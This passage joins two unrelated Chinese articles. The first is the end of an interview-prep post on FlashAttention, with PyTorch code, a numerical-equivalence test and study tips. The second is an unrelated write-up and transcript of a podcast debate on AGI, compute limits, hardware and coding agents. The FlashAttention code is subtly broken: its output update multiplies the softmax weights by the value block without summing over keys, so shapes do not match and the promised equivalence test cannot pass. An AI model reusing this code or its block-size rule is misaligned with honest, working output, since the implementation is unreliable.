                    s_block = s_block.masked_fill(mask, float('-inf'))
                
                # 在线softmax更新
                m_new = torch.maximum(m[:, start_i:end_i], s_block.max(dim=-1).values)
                l_new = l[:, start_i:end_i] * torch.exp(m[:, start_i:end_i] - m_new) + \
                        torch.exp(s_block - m_new.unsqueeze(-1)).sum(dim=-1)
                
                # 更新输出
                o[:, start_i:end_i, :] = o[:, start_i:end_i, :] * torch.exp(
                    m[:, start_i:end_i] - m_new).unsqueeze(-1) + \
                    torch.exp(s_block - m_new.unsqueeze(-1)).unsqueeze(-1) * v_block.unsqueeze(1)
                
                # 更新统计量
                m[:, start_i:end_i] = m_new
                l[:, start_i:end_i] = l_new
        
        # 最终归一化
        o = o / l.unsqueeze(-1)
        
        # 重塑回原始形状
        o = o.view(batch_size, num_heads, seq_len, head_dim)
        o = o.transpose(1, 2).contiguous()
        
        return o

# 使用示例
if __name__ == "__main__":
    batch_size = 2
    seq_len = 512
    num_heads = 8
    head_dim = 64
    
    q = torch.randn(batch_size, seq_len, num_heads, head_dim, 
                   device='cuda', dtype=torch.float16)
    k = torch.randn(batch_size, seq_len, num_heads, head_dim, 
                   device='cuda', dtype=torch.float16)
    v = torch.randn(batch_size, seq_len, num_heads, head_dim, 
                   device='cuda', dtype=torch.float16)
    
    flash_attn = FlashAttention(head_dim=head_dim, block_size=128).cuda()
    output = flash_attn(q, k, v, causal_mask=True)
    
    print(f"输出形状: {output.shape}")  # 应为 (2, 512, 8, 64)

标准注意力对比

def standard_attention(q, k, v, causal_mask=False):
    """
    标准注意力实现(用于对比)
    """
    scores = torch.matmul(q, k.transpose(-2, -1)) / math.sqrt(q.shape[-1])
    
    if causal_mask:
        mask = torch.triu(torch.ones(scores.shape[-2], scores.shape[-1]), 
                        diagonal=1).bool().to(scores.device)
        scores = scores.masked_fill(mask, float('-inf'))
    
    attn_weights = torch.softmax(scores, dim=-1)
    output = torch.matmul(attn_weights, v)
    
    return output

# 验证数值等价性
def test_equivalence():
    # 创建小规模测试数据
    batch_size, seq_len, num_heads, head_dim = 2, 64, 4, 32
    
    q = torch.randn(batch_size, seq_len, num_heads, head_dim, 
                   dtype=torch.float32, requires_grad=True)
    k = torch.randn(batch_size, seq_len, num_heads, head_dim, 
                   dtype=torch.float32, requires_grad=True)
    v = torch.randn(batch_size, seq_len, num_heads, head_dim, 
                   dtype=torch.float32, requires_grad=True)
    
    # FlashAttention
    flash_attn = FlashAttention(head_dim=head_dim, block_size=32)
    flash_output = flash_attn(q, k, v, causal_mask=True)
    
    # 标准注意力
    q_std = q.transpose(1, 2)
    k_std = k.transpose(1, 2)
    v_std = v.transpose(1, 2)
    std_output = standard_attention(q_std, k_std, v_std, causal_mask=True).transpose(1, 2)
    
    # 比较数值
    diff = (flash_output - std_output).abs().max()
    print(f"最大数值差异: {diff.item()}")
    
    # 应该小于1e-5(允许数值误差)
    assert diff < 1e-5, f"数值差异过大: {diff}"
    
    print("✓ FlashAttention与标准注意力数值等价")

test_equivalence()

进阶追问与展望

1. 面试官可能的深度追问

追问1:FlashAttention-2相比FlashAttention-1有哪些改进?

回答要点:

  • 减少非matmul FLOPs: 优化了在线softmax的实现,减少缩放操作
  • 改进并行策略: 在序列维度上并行,提高GPU利用率
  • 优化工作负载分配: 从split-K改为split-Q,减少共享内存通信

追问2:FlashAttention的局限性和改进方向?

局限性:

  • 不适用于序列长度极大的情况(如N > 10^6)
  • 对硬件有特定要求,需要足够的SRAM
  • 实现复杂度高,需要精细的CUDA优化

改进方向:

  • FlashAttention-2/3: 进一步优化并行策略和硬件适配
  • Sparse FlashAttention: 结合稀疏注意力,处理超长序列
  • 硬件协同设计: 为特定GPU架构定制优化

追问3:如何选择最优的块大小?

考虑因素:

  • SRAM容量限制
  • GPU利用率
  • 寄存器压力
  • 共享内存bank冲突

经验法则:

$$B_{optimal} \approx \sqrt{\frac{M}{d_k \times 4}}$$

其中4是考虑数据类型(float16)和额外的存储开销。

2. 与其他优化方法的对比

方法核心思想精度适用场景
FlashAttentionIO-aware tiling + 在线softmax精确通用长序列处理
Linear Attention低秩近似近似超长序列(N > 10^5)
Sparse Attention结构化稀疏模式近似长序列 + 局部依赖
ReformerLocality Sensitive Hashing近似大规模序列建模
Performer随机特征近似近似理论研究、小规模应用

3. 前沿研究方向

当前热点:

  1. FlashAttention-3: 针对H100架构的深度优化,利用新的硬件特性
  2. 异步计算: 将计算与内存传输重叠,进一步提高吞吐量
  3. 混合精度优化: 结合FP8等低精度格式,进一步提升性能
  4. 多模态应用: 扩展到视觉-语言多模态注意力计算

应用前景:

  • 超大规模语言模型训练(GPT-4级别)
  • 长文档理解与问答
  • 实时视频处理
  • 生物学序列分析(如蛋白质折叠)

面试避坑指南

常见错误1: 认为FlashAttention是近似算法

纠正: FlashAttention是精确算法,它不进行任何近似,通过精确的数学推导保证与标准注意力数值等价。

常见错误2: 忽略IO复杂度,只谈论FLOPs

纠正: 现代GPU上,IO瓶颈往往比计算瓶颈更严重。FlashAttention的核心贡献是将注意力算法的设计焦点从FLOPs转向IO复杂度。

常见错误3: 混淆Tiling和Block-Sparse Attention

纠正: Tiling是实现技巧,用于减少内存访问;Block-Sparse是算法近似,用于降低计算复杂度。FlashAttention使用Tiling但不进行近似。

常见错误4: 认为重计算总是更慢

纠正: 在计算密集型和内存受限的场景下,重计算可能更快,因为避免了昂贵的内存访问。


总结与展望

FlashAttention代表了深度学习算法设计的范式转变:从单纯追求计算效率到统筹考虑硬件特性的系统级优化。它不仅仅是一个算法改进,更是算法-硬件协同设计的典范。

核心价值:

  1. 理论突破: 引入IO复杂度分析,建立新的算法评价标准
  2. 工程创新: Tiling + 在线softmax + 算子融合的组合优化
  3. 实用价值: 在保持精度的前提下,显著提升实际训练和推理性能
  4. 方法论影响: 启发了后续IO-aware算法的研究方向

面试要点回顾:

  • 理解GPU内存层次结构和性能瓶颈
  • 掌握Tiling算法的核心思想
  • 能够推导在线softmax的更新公式
  • 理解IO复杂度分析方法
  • 清晰对比FlashAttention与传统注意力的差异
  • 了解FlashAttention-2/3的改进方向

FlashAttention的成功证明了:优秀的算法设计需要深入理解硬件特性,在数学理论和工程实现之间找到最佳平衡点。 这也是系统AI研究的重要方向。


参考文献

  1. Dao, T., Fu, D. Y., Ermon, S., Rudra, A., & Ré, C. (2022). FlashAttention: Fast and Memory-Efficient Exact Attention with IO-Awareness. NeurIPS 2022.
  2. Dao, T. (2023). FlashAttention-2: Faster Attention with Better Parallelism and Work Partitioning.
  3. Saha, B., & Ye, C. (2024). The I/O Complexity of Attention, or How Optimal is Flash Attention?
  4. NVIDIA A100 GPU Architecture Whitepaper
  5. Hong, S., & Kim, H. (2020). An Analysis of Deep Learning Neural Networks with PyTorch.

谢谢阅读~

关注"每天一个多模态知识点"公众号,回复"FlashAttention"即可下载本文markdown源码

本文由mdnice多平台发布

“如果一个 AI 能解 IMO,但解决不了任何现实问题,那它不是通用人工智能。”

这是卡内基梅隆大学助理教授、艾伦人工智能研究所研究科学家,蒂姆·德特默斯对 AGI 给出的判断,他用一篇文章 《通用人工智能为何不会成为现实》 直接把 AGI 从神坛上拽了下来。

image

有意思的是,几天后,加州大学圣地亚哥分校助理教授、Together AI 内核副总裁丹·傅,给出了完全相反的判断。他写了一篇 《通用人工智能终将成为现实》,说 我们也许早就已经实现了 AGI。

image

于是,两篇文章,一场关于 “AGI ” 的争论,被带进了播客现场。

这场讨论并非空谈,两位嘉宾都是同时深耕学术界与产业界的一线研究者

蒂姆·德特默斯长期深耕深度学习量化领域,即模型压缩,如何在更低精度、更少算力下,让模型保持可用性能。

image

在蒂姆·德特默斯看来,判断 AGI 是否成立,首先要回到一个常被忽略的前提:计算是物理的。

在他看来,内存迁移、带宽、延迟,以及冯·诺依曼瓶颈,决定了算力不可能无限扩张。他说 “几乎所有指数增长,最终都会撞上资源和物理极限”。 所以,指数增长终将放缓,Scaling Law 也不例外。

但丹·傅显然不这么看。在他看来,现在谈“算力见顶”,还太早了。丹·傅每天都在和 GPU 内核、算力利用率打交道,在他看来,“我们甚至还没真正用好上一代硬件。”

image

在现实系统中,算力其实被严重低估和浪费了, 大量性能消耗在内核调度、系统开销和工程细节上。更关键的是,人们今天评测和使用的“最强模型”,往往是基于一到两年前的算力集群训练出来的,它们并不能代表当下硬件和大规模集群所能达到的真实上限。

他因此提出了一个直观的估算思路,用来说明算力增长的潜力来自多个维度的叠加:

  • 新一代硬件 带来约 2–3 倍 的性能提升;

  • 系统与工程优化 将算力利用率提升 约 3 倍;

  • 更大规模的集群 再带来 约 10 倍 的规模效应。

这三者相乘,意味着可用算力在理论上可以提升接近 90 倍。这并不是纸面上的推算,而是正在产业中逐步发生、逐步兑现的现实潜力。

有意思的是,当争论继续推进,两人反而在一个问题上开始靠拢:AGI 到底是什么?

关于 AGI 的定义,大致有两种主流视角:

一种从认知能力出发,看模型能否覆盖足够多的认知任务;

另一种则从经济角度出发,看它是否真的改变了生产方式。

这一点上,双方达成一个共识:AGI 是什么并不重要,重要的是,它有没有改变我们工作的方式。

在访谈后后半部分,大家从未来拉回到了现实,Agent 成为了关键话题。

丹·傅在节目中提到一个有趣的时间点:2025 年 6 月, 那是他第一次意识到,Agent 可能真的越过了拐点。

image

他当时发现机器学习工程中最难的技能之一、编程领域的终极难题——“GPU 内核编程” 被代码智能体啃下来了。他自己亲测:原本一个 GPU 内核功能开发得磨一周,那天靠着代码智能体,一天就搞定了三四个,工作效率直接提升了 5 倍。而他的团队用上后,那些原本需要整支团队耗数月的复杂系统开发,也变得轻装上阵。

这让丹·傅想起了自己对自动驾驶的态度变化,从长期怀疑到真正坐上 Waymo,他意识到技术的突破可能藏在某个猝不及防的瞬间。

针对 Agent 的爆发式潜力,蒂姆·德特默斯曾发布了一篇掷地有声的文章 《要么善用 Agent,要么被时代淘汰》。在他看来,代码 Agent 本身就是高度通用的 Agent,因为代码几乎可以描述和解决所有数字化问题。他甚至直言,“超过 90% 的代码和文本,本就应该由 Agent 来生成。但同时他也强调,“人类必须对最终结果承担责任,而非盲目依赖 AI 的输出。”

image

两人将 Agent 形象地比作“需要精细化管理的实习生”,只要给它明确背景信息、拆解任务边界、设定执行约束,人类无需过度干预其执行过程,而是把注意力聚焦在把控方向上,用专业判断力校验结果。而在 Agent 时代,真正吃到红利的将是有深厚积累的专家,其专业基础越深厚,Agent 能为其创造的效率增量就越显著。

在节目的最后,关乎对 AI 行业未来的预判,双方抛出了一系列深刻洞见。

在他们看来,小模型会成为行业新热点、开源模型会进一步飞跃;新硬件、多模态、端侧 AI 都会有进一步发展。

其中,硬件赛道将走向多元化发展,模型训练与推理环节的专业化分化会进一步加剧。

更值得关注的是,Transformer 架构独霸天下的时代会落幕,各类新架构会登上时代舞台。

他们还特别提到了中国的 GLM-4.7、MiniMax、DeepSeek 等优秀模型,对中国大模型的快速进步表达了高度认可。

在他们看来,相比技术路线相对集中的美国,中国团队反而更敢于探索多种可能性,比如状态空间模型、线性注意力以及混合架构等,通过架构创新或极致性能,让开源模型脱颖而出。

同时,他们也指出,中国的模型团队在技术路线上更 务实。与“先做出最强模型,再等待应用出现”的硅谷思路不同,中国团队更关注模型是否真正能落地、是否能在现实场景中产生价值。正是这种务实的发展思维,可能会在未来深刻影响人工智能的技术形态以及它所能创造的社会价值。

以下是播客全文,更多精彩细节,欢迎来看:

“AGI 能否成为现实”之争

主持人:蒂姆,几周前你发表了一篇极具争议性的精彩博文,标题是 《通用人工智能为何不会成为现实》。而丹,你在几天后也发布了一篇同样引人入胜的回应博文,标题为 《通用人工智能终将成为现实》。我想先了解一下二位的背景,你们都有着一个有趣的特点,就是兼具产业界和学术界的从业经历。蒂姆,不如你先讲讲吧。

蒂姆・德特默斯:我是卡内基梅隆大学机器学习与计算机科学系的助理教授,同时也是艾伦人工智能研究所的研究科学家。

我过往的研究主要聚焦于高效深度学习量化技术,简单来说就是模型压缩, 把大模型从 16 位精度压缩到 4 位精度左右,这方面我做了不少核心研究。比如一种高效的微调方法,我们将模型压缩至 4 位精度,在模型上使用适配器,这样所需的内存相比全精度模型能减少多达 16 倍。

目前我正致力于代码 Agent 的研究, 我们将在约两周后发布一项非常令人振奋的成果,打造出了目前最先进的 Agent,它能快速适配私有数据,在任意代码库上都能实现出色的性能表现,这一成果真的让人充满期待。

主持人:丹,该你了。

丹・傅:我是加州大学圣地亚哥分校的助理教授,同时担任合聚人工智能公司的内核副总裁。

在产业界,我的工作主要集中在提升模型的运行速度,GPU 内核正是将模型转化为实际在 GPU 上运行程序的关键,你可以把它理解为专门的 GPU 程序。

我的博士阶段以及实验室的大量研究都围绕这一方向展开,比如我研发了快速注意力机制,这是一款针对当下多数语言模型核心运算的高效内核。我还研究了 Transformer 架构之外的替代架构, 比如状态空间模型等。

在合聚人工智能,我主要关注如何打造当下最优的语言模型,以及如何进一步提升它们的运行速度。

就在本期节目录制的今早,我们还和库尔索公司联合发布了一篇博文,介绍了我们如何为其多款模型实现加速,并助力他们在英伟达的布莱克韦尔(Blackwell) GPU 上推出了作曲者 2.0 模型,这大概就是我的工作内容。

从 AGI 的定义,聊到对 AGI 的现实判断

主持人:接下来我们聊聊通用人工智能的话题,节目后半段再探讨 Agent 和代码 Agent,以及二位的相关见解。通用人工智能这个术语被大家广泛使用,但我想大家都认同,目前还没有人能准确定义它。为了本次探讨,二位认为什么样的通用人工智能定义是实用的?

丹・傅:当然。我和蒂姆在这一系列博文中 反复探讨的一个问题,就是通用人工智能的定义。

就我而言,我最近一直在思考,以当下的模型发展水平,尤其是语言模型,再结合后续会谈到的 Agent 来看,以 5 年前、10 年前,甚至我和蒂姆刚开始读博时任何人给出的通用人工智能定义,我们其实已经实现了当时的设想。如今的模型能写代码、能生成人类语言,即便有时用词上会有些小瑕疵,但确实能完成这些令人惊叹的任务。我还会思考,这种技术发展到何种程度,会引发一场新的工业革命,真正改变我们当下的工作方式,并产生巨大的经济影响。

在软件工程领域,我觉得我们已经身处这样的变革中,或者说即将迎来全面变革。虽然在一些高度专业化的领域,比如模型未必能写出世界上最优质的福兰语和钴语言代码,但在网页开发,甚至很多底层系统工程方面,它们的表现已经非常出色。

我写那篇博文的一个原因就是,审视当下的发展,我们或许已经实现了通用人工智能,或者说某种形式的通用人工智能。即便尚未完全实现,下一代正在训练的模型,只要比当下的模型表现更好,我们就已经取得了令人惊叹的突破。

蒂姆・德特默斯:我写那篇博文时发现,自己竟然忘了在文中给出通用人工智能的定义,尽管整篇文章都围绕这个主题展开。我想这在某种程度上也反映了我们对通用人工智能的思考现状 —— 我们并未认真去界定它。当然,目前存在多种定义,各有优劣,正如你所说,没有一个定义能获得所有人的认同。

我简单提几种比较主流的,一种是将通用人工智能视为认知能力、认知任务的集合,关注模型能完成哪些认知层面的工作。 软件工程、文本创作都是高度依赖认知的任务,而让机器人在空间中移动则更偏向操作层面,当然也有人认为肢体移动的规划也属于认知范畴,但多数人会将其区分开来,认为所有数字化的任务都属于认知领域,物理层面的操作则超出了这一范畴。

另一种我认为很有意义的定义视角是经济层面,看人工智能是否能引发一场新的工业革命,是否具备广泛的实用性,能应用到各个领域,推动各类工作的效率提升,就像计算机的出现那样。 当然,计算机刚出现时,生产率其实出现了下降,直到其在经济中广泛普及,生产率才重新回升。通用人工智能的发展或许也会经历类似过程,在软件工程等领域,其带来的效率提升已经十分显著。

主持人:我们直接切入核心争论吧。蒂姆,你曾提到 AGI 的相关构想的起源,这一点让我觉得很有意思,你能展开讲讲吗?

蒂姆・德特默斯:好的。先梳理一下整体的背景,当下关于 AGI 的一些观点,根植于特定的思维模式,主要来源于有效利他主义社群和理性主义社群。

我 15 年前也曾是这些社群的一员。在推特上,总能看到有人说 “两年内就能实现通用人工智能”,一年后又有人说 “两年内就能实现通用人工智能”,年年如此。我觉得这种想法有些草率,也体现出一种信息茧房的状态,持这种观点的人很少接触不同的想法。这也是我写那篇博文的主要动机,我希望提出一些不同的观点,为当下主流的思考提供一种反视角。

算力是否见顶

主持人:你核心的观点是,这些构想与实际的计算现实之间存在矛盾,这样概括准确吗?

蒂姆・德特默斯:没错。这其中既涉及物理层面的限制,也有理论层面的问题,而这两方面都存在 一个共同的规律 —— 收益递减。所有指数级增长的事物最终都会放缓,因为发展需要资源,而资源总会耗尽,这里的资源可以有多种解读。

从物理层面来看,技术的进一步发展会变得越来越困难,几乎所有研究和开发领域都是如此。前期的进展往往容易实现,而后续要取得突破,需要投入更多资源,发展速度也会越来越慢。

再看计算设备的物理现实以及计算本身的结构, 其实有用的计算主要包含两个环节:

首先是将数据从不同位置收集起来,汇聚到指定位置,然后对这些信息进行整合,完成信息的转化处理。简单来说,就是结合已知信息,计算出未知的新信息。有用的信息,必然是从已有的信息中转化而来的。如果只是大量转移信息,却不进行处理,就无法产生新信息;如果只是对现有信息进行大量计算,又会错失跨领域的洞察和间接的启发。我认为这一点与我们当下的神经网络架构高度契合。

早期的卷积神经网络表现出色,原因就在于它们几乎不怎么移动内存,而是专注于大量计算,这意味着这类设备需要强大的浮点运算能力,而内存带宽则没那么重要。当发展到大规模密集计算、大矩阵运算阶段,就到了当下神经网络的发展方向,但此时仍保留着循环机制的特点,需要关注之前的状态。不过由于循环的特性,计算的内存复用率极低。

而 Transformer 架构,先是通过大矩阵将前一层的输入信息进行转化,再通过注意力机制实现跨时间或空间的信息关联。我认为这是处理信息最根本的两种方式:一是让信息之间建立关联,或对信息进行转化;

二是让信息与关联较远的其他信息建立联系,也就是挖掘长期关联,并基于已有信息进行转化。

主持人:你认为这一发展进程正在放缓,对吧?你的博文中有一句非常引人注目的话,称 “图形处理器的发展将不再有实质性突破”,这是核心观点,能说说原因吗?

蒂姆・德特默斯:这个观点包含两层含义,首先是一个非常根本的物理问题,也就是我刚才提到的内存转移和计算的关系。

计算要产生价值,就必须将内存数据转移到进行计算的本地区域,这其实是一个几何问题。你需要一个大容量的信息存储区,然后将其中的信息转移到计算区域。而我们已经找到了实现这一过程的最优物理方式:配备大容量但速度较慢的动态随机存取存储器,再将数据转移到高速缓存中。

从几何结构来看,这是实现高速运算的最优解,针对特定规模的计算任务,这种架构的效率是最高的。如果是矩阵乘法这类不同规模的计算任务,就需要使用图形处理器而非中央处理器,因为图形处理器虽然延迟更高,但吞吐量更大,能传输更多数据,只是速度稍慢。我们可以对缓存的结构、大小,以及核心的共享方式做一些微调,但归根结底,核心的问题始终存在 —— 这是一个几何难题,空间的利用方式是有限的,这就决定了数据的访问模式和延迟始终存在固定的限制,其中最大的延迟来自大容量的动态随机存取存储器,这也是主要的性能瓶颈。这一瓶颈也被称为 冯・诺依曼瓶颈,几乎所有计算机都受此限制,具体来说,就是需要将程序传输到执行区域才能运行。对于神经网络而言,就是要将权重和输入数据传输到张量核心这一执行单元。

想要绕开这一瓶颈的方法寥寥无几,唯一的途径是进行本地内存存储和本地计算,市面上也有一些处理器尝试实现这一点,比如存算一体处理器,能在很大程度上在芯片内部解决冯・诺依曼瓶颈问题,但这类处理器仍需要从外部向芯片内传输数据,这就使得冯・诺依曼瓶颈从芯片内部转移到了存储设备或网络层面,问题只是发生了转移,本质并未改变。你仍需要通过网络将存储在磁盘或内存中的程序加载到芯片中,这还是同一个物理问题,只是调整了几个变量而已。这是问题的第一个层面,目前还没有能解决这一问题的架构。

第二个层面,也是我的核心观点所在:想要突破瓶颈,需要依靠新技术,但当新技术的潜力被充分挖掘后,又需要新的技术实现进一步突破。

比如,我们从动态随机存取存储器发展到了高带宽存储器,也就是堆叠式的动态随机存取存储器,速度大幅提升,但这种存储器的堆叠层数有限,因为其制造和测试的难度极高,良品率很低。到 2026 年,高带宽存储器的产能将会不足,无法实现规模化生产,因为制造难度实在太大。我们已经见证了诸多技术创新,张量核心的出现是一大突破,8 位精度、4 位精度的量化技术也相继落地,我和其他研究者的研究都表明,这些技术在信息论层面和实际应用中都是接近最优的。

如果基于足够多的数据进行训练,4 位精度是不够的,实际需要 8 位精度,这意味着量化技术已经发展到了极限。硬件的潜力也被挖掘殆尽,目前没有新的技术可以突破,我们能做的只是优化制造工艺,降低成本,却无法提升速度。各项功能的开发也已到极致,稀疏化技术是很多人尝试的方向,这一研究已经持续了 50 年,我自己也做过相关尝试,这或许是最后一个可探索的方向,但 4 位精度的量化技术已经意味着量化领域的发展走到了尽头。

简单来说 ,功能和硬件都已被开发到极限,这就是我们当下的处境

主持人:太有意思了。丹,你对这些观点有什么看法?

丹・傅:我非常认可蒂姆的这篇博文,因为当下有不少关于通用人工智能的讨论,只是简单地按照指数增长的趋势去推演,认为到某个时间点,人工智能会发展到掌控整个宇宙的程度,我一直觉得这种思考方式有些片面。我认同蒂姆从实际物理限制角度出发的分析,正如他所说,这些都是依赖物理输入、进行实际物理计算的系统。

我的观点是,看看当下的系统和我们训练的模型,我们甚至连上一代硬件的潜力都远未充分挖掘,更不用说新推出的硬件了。

从技术层面,我在博文中主要提出了两个核心观点:

第一,看看当下那些表现出色的模型,我在博文中主要以开源模型为例,因为开源领域会更多地披露模型的训练过程和所耗资源,而开放人工智能和思存人工智能等公司并未公开相关数据。

以 DeepSeek 模型为例,这是目前最优秀的开源模型之一,它在 2024 年底完成训练,使用的是上一代的英伟达 H800 GPU,这款显卡因出口限制做了性能阉割,并非原版 H100。根据公开报告,该模型的训练使用了约 2000 块 H800 显卡,耗时约一个月。计算一下实际的算力利用情况会发现,芯片的有效利用率仅约 20%,行业内将这一指标称为模型浮点运算利用率。而在 21 世纪 20 年代初,我们在旧硬件上训练不同架构的模型时,轻松就能实现 50% 甚至 60% 的模型浮点运算利用率。如果能将这一指标提升,再加上我的好友崔最近发布了一系列能优化模型训练的新内核,单是这一项优化,就能让算力利用率提升 3 倍。

第二,需要意识到的是,这款 2024 年年中开始训练的 DeepSeek 模型,在 2026 年初仍是众多优秀开源或类开源模型的基础。而从那之后,我们已经搭建了全新的算力集群,搭载了当下最新的硬件,比如英伟达的布莱克韦尔系列显卡。普尔赛德、瑞弗莱克申等公司都在搭建包含数万个 B200、GB200 芯片的算力集群。

对比来看,新一代硬件即便保持和之前相同的精度、相同的配置,运算速度也能提升 2 至 3 倍,算力集群的规模更是扩大了 10 倍,再加上 3 倍的纯技术优化空间,整体的可用算力能提升 3×3×10,也就是 90 倍。这还没有考虑未来的算力集群建设,只是当下已经落地、有人正在用于模型训练的集群。

我的核心观点是,单从这些基础的硬件条件来看,就能发现可用算力相比我们当下所依赖的模型,还有多达两个数量级的提升空间,也就是 100 倍。 当然,我们可以争论算力规模扩大是否会带来收益递减,缩放曲线是否依然有效,但现实的算力潜力就摆在眼前。

这还没考虑蒂姆提到的那些点,比如目前的训练大多采用 8 位精度,而 4 位精度的训练方法才刚刚开始形成相关研究成果;GB200 芯片有 72 个连接速度极快的核心,而我们甚至还没看到基于这款芯片训练的首个预训练模型。开放人工智能的报告中提到,GPT-5.2 是首个基于 H100、H200 和 GP200 芯片训练的模型,这在我看来,意味着它的预训练其实是在老旧的算力集群上完成的,只是在新的 GP200 芯片上进行了一些微调。

主持人:你提到,不仅硬件的利用率不足,模型本身也是硬件发展的滞后指标,对吧?

丹・傅:没错。我们当下能使用、能体验到的模型,都是在一两年前搭建的算力集群上完成预训练的。

因为搭建一个算力集群需要时间,完成大规模的预训练需要时间,后续的微调、人类反馈强化学习等后训练环节也需要时间。所以我们当下所看到的、用来衡量模型质量的这些模型,其实都是在一年半前的硬件上训练的。而在这之后,我们已经搭建了规模大得多的算力集群,不难想象,这些集群会被用于训练新一代模型。

也就是说,我们当下所依赖的优质模型,训练所使用的硬件其实已经相当老旧,而我们拥有了新一代的硬件、更多的软件优化方案,更不用说架构层面的创新了。

蒂姆刚才提到,处理数据的核心是先转移、再计算,而变形金刚架构其实一直在发展,只是在研究者看来,发展速度稍慢。但我们能看到,计算的核心方式已经在发生变化,哪怕再找到 1.5 倍或 2 倍的优化空间,整体的可用算力就能达到 100 甚至 150 倍。所以当下还有大量的算力潜力可以挖掘,用来训练更优质的模型。

  预训练是综合训练,后训练是专项训练

主持人:我理解这场讨论的核心是预训练,也就是我们能否用更多的数据和算力训练出更大的模型。但在本播客之前的对话中,很多人都强调后训练的重要性,以及构建结合预训练和强化学习的人工智能系统的意义。这一点在当下的讨论中该如何定位?

丹・傅:这是个非常好的问题,我和蒂姆的博文其实都没有重点探讨这一点。我喜欢这样比喻,预训练就像是在健身房进行的综合力量训练,通过大重量训练提升整体的力量和能力;而后训练就像是针对特定项目的专项训练,让你在具体任务上表现更出色。

从算力消耗来看,历史上预训练消耗的算力占绝对主导,其目的是打造具备通用能力的模型,让模型掌握大量知识,能完成多种任务,甚至拥有比普通人更多的知识储备,比如我自己的知识量肯定比不上聊天生成预训练转换器。

而后训练的作用,一方面是让模型变得更实用,比如聊天生成预训练转换器,能理解用户的需求,并尽力完成任务;另一方面,我们也发现,后训练正越来越多地被用于培养模型的特定技能。比如擅长辅助编程的模型,虽然依托于预训练积累的大量知识,但正是通过后训练,才让它在编程领域具备了出色的能力;同理,擅长法律工作的模型,也是在预训练的基础上,通过后训练实现了专业领域的优化。

从纯计算的角度来看,预训练的算力消耗通常远大于后训练。 后训练的工作,我虽然不是这方面的专家,但感觉更多地像是如何打造一款实用的产品,如何获取用户反馈,诸如此类。

当然,也有一种可能是,下一代预训练模型的基础能力已经足够强大,只要针对经济领域的各个垂直赛道进行后训练,就能打造出极具实用性的模型。所以这也是计算领域的另一个重要维度,或许我们根本不需要那 100 倍的额外算力,更多的是需要像培养人类一样,深入理解问题,找到合适的训练方法 —— 就像你如何培养一名实习生完成特定任务,如何让一个能力强大的预训练模型发挥出实际价值,这正是后训练要解决的问题。

主持人:二位都提到了 “实用性” 这个概念,这或许是你们观点的交汇点。通用人工智能的定义众说纷纭,但最终的关键还是看它在产业中的实际实用性。所以即便由于收益递减,我们无法实现那个大家都无法准确定义的、理想化的通用人工智能,也无关紧要,因为我们还有巨大的潜力可以挖掘,足以让人工智能在整个经济领域发挥真正的价值,而不仅限于编程领域。

蒂姆・德特默斯:没错。我那篇博文的核心结论正是如此,我们不必过分纠结于通用人工智能的定义,更应该思考如何让人工智能发挥最大的实用价值,而这不仅关乎模型本身,丹刚才提到后训练是产品化的过程,这一点很重要。计算机的发展历程告诉我们,技术在经济中的普及需要一种截然不同的思维模式。

美国的思维模式往往是 “打造出最优的模型,自然会有人使用”,而中国的思维模式则更注重务实,思考如何让技术惠及更多人。我认为这种务实的思维模式至关重要。谈及实用性,一方面是模型的能力,另一方面就是这种发展思维。

我相信我和丹,以及大多数人都会认同一个观点:如果一个人工智能能完成数学奥林匹克竞赛这类高难度任务,却无法解决任何实际问题,那它算不上通用人工智能。而当下的模型已经具备了实用性,所以不会出现那种 “有能力却无用处” 的情况。

我们真正追求的,是实用性极强的模型,而这样的模型我们已经拥有,并且还能不断优化。我认为按照某些定义,我们或许无法实现通用人工智能,但人工智能必将产生巨大的社会影响。

丹・傅:我想补充一点,蒂姆你提到了经济领域的物理性工作和知识性工作的划分,美中两国在这方面的差异非常有意思。

最近有一本丹・王写的书很火,探讨了制造型经济、工程型经济与偏法务型经济的区别。美国有大量优秀的知识性工作有待人工智能去赋能,而从经济的实际产业结构来看,医疗、教育占了很大比重,科技领域虽然也是重要组成部分,引领着股市的走向,但还有更多领域等待挖掘。

现在有很多优秀的研究者正在尝试用新一代模型研发新药、推动医疗领域的实际变革;如果机器人技术能实现突破,助力完成一些体力劳动 —— 未必是建造房屋这类重活,而是日常的家务劳动,那将挖掘出经济领域的巨大潜力。这些方向的发展已经能看到初步的成果,自动驾驶的发展历程对我很有启发。

在我读博初期,大概 2018、2019 年,我对自动驾驶持非常怀疑的态度,当时大家总说自动驾驶 “再有一两年就能实现”,专家则说 “五年内有望落地”。但去年我乘坐了威莫的自动驾驶车辆,如今在加州湾区,我甚至能使用威莫的高速自动驾驶服务。理论上,我现在甚至可以卖掉自己的车 —— 当然我不会这么做,因为我个人喜欢开车。

但技术的进步就是这样,在这之前一直毫无起色,突然有一天就实现了突破,你会发现它不仅表现出色,甚至比优步、出租车这类人工服务还要好。如果人工智能在家庭清洁、洗碗这类家务劳动上也实现这样的突破,那将是非常令人振奋的,也会彻底改变人们的看法。我自己并非机器人领域的研究者,但一直密切关注着这个领域的发展。

多硬件、多芯片的未来方向

主持人:丹,借着这个话题,我想问问,从你的观察来看,人工智能领域是否会朝着多硬件、多芯片的方向发展?显然英伟达的发展势头迅猛,还有赛博拉斯等公司,以及众多从底层技术切入的专用集成电路企业。从你深耕底层技术的视角,你怎么看这一趋势?

丹・傅:这是个很棒的问题,我在实验室的工作中会花大量时间思考这个问题,产业界的工作中也会密切关注。当下正处于一个非常令人振奋的阶段:英伟达的芯片性能强劲、稳定性高,围绕其构建的软件生态也非常完善;而 AMD 的芯片也开始展现出同样的潜力,相关的研究也在推进。

比如在实验室,我的好友西姆龙・奥罗拉主导开发了一个名为希普基滕斯的库,核心就是探索如何设计合适的软件抽象层,实现 AMD GPU 的编程。研究发现,AMD GPU 和英伟达 GPU 的软件抽象层存在明显差异,即便这两款 GPU 的参数规格相对接近 —— 更不用说和格罗克、赛博拉斯、萨博诺瓦等公司的芯片相比了,它们的编程方式也截然不同。

现在越来越多的人开始关注这一领域,投入时间和精力进行研究。英伟达收购了格罗克,当下张量处理单元也备受关注,赛博拉斯和开放人工智能也刚宣布达成合作。所以未来必然会涌现出更多的硬件方案,英伟达无疑会继续保持良好的发展态势,甚至在本期节目录制时,其市值已经突破 5 万亿美元,但硬件领域的多样性会大幅提升,尤其是在模型推理层面。

训练和推理是两种截然不同的计算过程,因此需要的芯片也大相径庭。在推理层面,模型可能需要在手机、笔记本电脑等本地设备上运行。 我的手机是一款几年前的苹果手机,但其运算能力已经超过了我读博初期使用的一些 GPU,硬件算力的增长速度令人惊叹。

